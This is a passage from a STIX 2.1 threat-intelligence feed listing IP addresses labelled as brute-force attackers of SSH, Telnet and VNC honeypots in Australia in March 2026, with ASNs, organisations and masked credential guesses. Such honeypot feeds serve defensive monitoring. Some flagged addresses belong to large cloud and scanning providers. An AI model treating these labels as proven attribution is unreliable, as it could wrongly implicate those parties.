      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.110.0.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T16:15:03.000Z",
      "valid_until": "2026-05-01T16:15:01.000Z"
    },
    {
      "created": "2026-03-30T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--0f6a26f2-f38b-493b-8754-8524418f1380",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.52.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T16:15:03.000Z",
      "valid_until": "2026-05-01T16:15:01.000Z"
    },
    {
      "created": "2026-03-30T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T16:15:03.000Z",
      "valid_until": "2026-05-01T16:15:01.000Z"
    },
    {
      "created": "2026-03-30T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 210457. Organisation(s): Kyonix Networks Limited. Usernames observed (masked): r**t. Passwords observed (masked): 1******1.",
      "id": "indicator--1d39bf76-f7a3-49fc-b0e3-f31181544a18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.27.63.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T16:15:03.000Z",
      "valid_until": "2026-05-01T16:15:01.000Z"
    },
    {
      "created": "2026-03-30T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--e19b0a3a-7ac7-44b1-a045-b9239c9b32a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.163.119.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T17:15:04.000Z",
      "valid_until": "2026-05-01T17:15:01.000Z"
    },
    {
      "created": "2026-03-30T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******!, 1******., 3***********4, 3**********4, A**********#.",
      "id": "indicator--a949e461-666c-4988-a602-14029abe63f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.195.90.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T17:15:04.000Z",
      "valid_until": "2026-05-01T17:15:01.000Z"
    },
    {
      "created": "2026-03-30T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--013694d9-6b42-4300-8a48-b5bcabd021c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.119.96.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T17:15:04.000Z",
      "valid_until": "2026-05-01T17:15:01.000Z"
    },
    {
      "created": "2026-03-30T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--214aa2aa-2989-4c2d-b93e-60ccf9cd77cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T17:15:04.000Z",
      "valid_until": "2026-05-01T17:15:01.000Z"
    },
    {
      "created": "2026-03-30T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--b718b00a-5afc-41b3-a9d2-9be9aa7d434d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.106.196.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T17:15:04.000Z",
      "valid_until": "2026-05-01T17:15:01.000Z"
    },
    {
      "created": "2026-03-30T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--1a83d9df-754f-42f5-97f3-60af46c311ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.16.93.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T17:15:04.000Z",
      "valid_until": "2026-05-01T17:15:01.000Z"
    },
    {
      "created": "2026-03-30T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1****6, P******d, a***n, a******3.",
      "id": "indicator--b0e1ebac-58c8-4f5e-9fd2-d06bb95e7fdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.92.243.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T17:15:04.000Z",
      "valid_until": "2026-05-01T17:15:01.000Z"
    },
    {
      "created": "2026-03-30T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): r**t. Passwords observed (masked): !*******8.",
      "id": "indicator--0daea12c-0d30-4a85-8018-30d6c13ffb5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.70.107.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T18:15:04.000Z",
      "valid_until": "2026-05-01T18:15:01.000Z"
    },
    {
      "created": "2026-03-30T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--c8de15cb-7d24-4e6f-94d5-c050bf5a1c97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.18.158.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T18:15:04.000Z",
      "valid_until": "2026-05-01T18:15:01.000Z"
    },
    {
      "created": "2026-03-30T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****4, 1*******a, A******2.",
      "id": "indicator--b1cae0cc-9f64-41a6-a4eb-31137dea5284",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.95.252.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T18:15:04.000Z",
      "valid_until": "2026-05-01T18:15:01.000Z"
    },
    {
      "created": "2026-03-30T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9770. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--f9bd74c9-4f07-4945-aa9c-b8bbba28d684",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.108.29.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T18:15:04.000Z",
      "valid_until": "2026-05-01T18:15:01.000Z"
    },
    {
      "created": "2026-03-30T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 12271. Organisation(s): Charter Communications Inc.",
      "id": "indicator--3e9376e8-11b6-4ba4-97eb-e958eb7939c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.173.243.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T18:15:04.000Z",
      "valid_until": "2026-05-01T18:15:01.000Z"
    },
    {
      "created": "2026-03-30T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH. Usernames observed (masked): r**t. Passwords observed (masked): 1**1, 1*******+, K*******6, P********3, S******3.",
      "id": "indicator--2ccc0159-c060-4a28-bcbc-f0a37c0d8275",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T18:15:04.000Z",
      "valid_until": "2026-05-01T18:15:01.000Z"
    },
    {
      "created": "2026-03-30T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--71c6603c-66e7-4c12-bdb6-331615655393",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.224.217.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T19:15:04.000Z",
      "valid_until": "2026-05-01T19:15:01.000Z"
    },
    {
      "created": "2026-03-30T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications.",
      "id": "indicator--b7a7a399-36c7-4560-b7cb-2225eedf31b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '174.0.229.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T19:15:04.000Z",
      "valid_until": "2026-05-01T19:15:01.000Z"
    },
    {
      "created": "2026-03-30T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 44112. Organisation(s): SpaceWeb Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d111bd7d-a97f-469b-88b4-5dc077f63494",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.222.46.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T19:15:04.000Z",
      "valid_until": "2026-05-01T19:15:01.000Z"
    },
    {
      "created": "2026-03-30T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e4966a56-0c4b-4f23-98fc-a35dda5b5ac3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.106.176.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T19:15:04.000Z",
      "valid_until": "2026-05-01T19:15:01.000Z"
    },
    {
      "created": "2026-03-30T20:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !********x, !******e, 3***********4, 3**********4, G******6.",
      "id": "indicator--badb058b-6605-418a-a1eb-1484d237bf88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.68.208.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T20:15:09.000Z",
      "valid_until": "2026-05-01T20:15:00.000Z"
    },
    {
      "created": "2026-03-30T20:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--c8e0d792-012a-45ce-ab57-28049aefd999",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T20:15:09.000Z",
      "valid_until": "2026-05-01T20:15:00.000Z"
    },
    {
      "created": "2026-03-30T20:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 210135. Organisation(s): Yug-Telecom-K Ltd..",
      "id": "indicator--8ce0a156-ccd0-4cc2-ba1d-850f6016aa0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.180.19.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T20:15:09.000Z",
      "valid_until": "2026-05-01T20:15:00.000Z"
    },
    {
      "created": "2026-03-30T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7463378f-a2ce-42af-8be8-5f652675b214",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.238.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T21:15:04.000Z",
      "valid_until": "2026-05-01T21:15:01.000Z"
    },
    {
      "created": "2026-03-30T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b3603cf2-a0fb-46e1-9fc4-877743449f0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T21:15:04.000Z",
      "valid_until": "2026-05-01T21:15:01.000Z"
    },
    {
      "created": "2026-03-30T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3387be82-f1c3-447b-901a-7f53ec54a5aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.243.63.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T21:15:04.000Z",
      "valid_until": "2026-05-01T21:15:01.000Z"
    },
    {
      "created": "2026-03-30T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--dd65327f-898f-4d63-8356-8a3dbe59cafa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T21:15:04.000Z",
      "valid_until": "2026-05-01T21:15:01.000Z"
    },
    {
      "created": "2026-03-30T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--7d79fad6-3b04-4afe-a645-744b0e78b15b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.163.60.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T21:15:04.000Z",
      "valid_until": "2026-05-01T21:15:01.000Z"
    },
    {
      "created": "2026-03-30T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c64800c1-a00e-4db1-9800-dedda747ce0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.80.83.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T21:15:04.000Z",
      "valid_until": "2026-05-01T21:15:01.000Z"
    },
    {
      "created": "2026-03-30T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--32c1eed6-1671-418c-afde-ac764fb49c2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T22:15:03.000Z",
      "valid_until": "2026-05-01T22:15:01.000Z"
    },
    {
      "created": "2026-03-30T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1ed32274-b27e-4982-81ee-6b29a312c911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T22:15:03.000Z",
      "valid_until": "2026-05-01T22:15:01.000Z"
    },
    {
      "created": "2026-03-30T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--979a9472-8133-4b1f-8bf1-7521525a6336",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '67.102.7.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T22:15:03.000Z",
      "valid_until": "2026-05-01T22:15:01.000Z"
    },
    {
      "created": "2026-03-30T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Heralding. Target ports: 5900. Source country: FR. ASN(s): 21499. Organisation(s): Host Europe GmbH. Passwords observed (masked): 1******4, a******1, m********e, n*******r, s******k.",
      "id": "indicator--53ffab43-b15d-49b3-b953-a67a9917651f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.205.187.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T22:15:03.000Z",
      "valid_until": "2026-05-01T22:15:01.000Z"
    },
    {
      "created": "2026-03-30T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215305. Organisation(s): Mastersoft S.R.L.. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--5c6afc8d-fa54-47cf-b1ea-dd3443c83e96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.248.42.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T23:15:05.000Z",
      "valid_until": "2026-05-01T23:15:01.000Z"
    },
    {
      "created": "2026-03-30T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 133612. Organisation(s): Vodafone Australia Pty Ltd. Usernames observed (masked): r**t. Passwords observed (masked): M**********!, , M**********'.",
      "id": "indicator--94464fef-ecb0-43ad-a4c6-f9b2feab7ac6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.20.20.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T23:15:05.000Z",
      "valid_until": "2026-05-01T23:15:01.000Z"
    },
    {
      "created": "2026-03-30T23:15:05.000Z",
